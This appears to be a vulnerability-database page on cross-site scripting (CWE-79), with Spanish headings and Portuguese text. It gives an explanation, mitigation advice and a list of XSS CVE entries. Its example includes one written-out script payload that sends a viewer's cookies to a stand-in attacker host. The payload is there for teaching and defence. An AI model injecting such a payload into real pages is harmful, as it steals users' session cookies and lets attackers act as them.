Fallos del tipo CWE-79

29.100 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-45730MEDIUMA cross-site scripting (XSS) vulnerability in Doctor Appointment Management System v1.0.0 allows attackers to execute arbitrary web scripts EPSS 0.5%CVE-2025-26529HIGHStored XSS risk in admin live logEPSS 0.5%CVE-2023-6808MEDIUMBooking for Appointments and Events Calendar – Amelia <= 1.0.93 - Authenticated(Contributor+) Stored Cross-Site Scripting via shortcodeEPSS 0.5%CVE-2026-77811MEDIUMStored Cross-Site Scripting via Integration Template Asset in OpenSearch DashboardsEPSS 0.5%CVE-2024-26079MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2023-34446HIGHiTop XSS vulnerability on pages/preferences.php EPSS 0.5%CVE-2024-26047MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2023-2302MEDIUMContact Form and Calls To Action by vcita <= 2.6.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2026-66917HIGHJoomla Extension - joomgalleryfriends.net - Stored XSS in JoomGallery < 4.4.0EPSS 0.5%CVE-2024-26098MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-21535MEDIUMVersions of the package markdown-to-jsx before 7.4.0 are vulnerable to Cross-site Scripting (XSS) via the src property due to improper inputEPSS 0.5%CVE-2024-26084MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2023-1536HIGHCross-site Scripting (XSS) - Stored in answerdev/answerEPSS 0.5%CVE-2023-49277HIGHReflected Cross-site Scripting Vulnerability in dpasteEPSS 0.5%CVE-2024-42788MEDIUMA Stored Cross Site Scripting (XSS) vulnerability was found in "/music/ajax.php?action=save_music" in Kashipara Music Management System v1.0EPSS 0.5%CVE-2024-43368MEDIUMTrix has a Cross-Site Scripting (XSS) vulnerability on copy & pasteEPSS 0.5%CVE-2024-24511MEDIUMCross Site Scripting vulnerability in Pkp OJS v.3.4 allows an attacker to execute arbitrary code via the Input Title component.EPSS 0.5%CVE-2020-7258MEDIUMNetwork Security Management (NSM) - Cross site scripting vulnerabilityEPSS 0.5%CVE-2023-50831MEDIUMWordPress CURCY Plugin <= 2.2.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2023-46003MEDIUMI-doit pro 25 and below is vulnerable to Cross Site Scripting (XSS) via index.php.EPSS 0.5%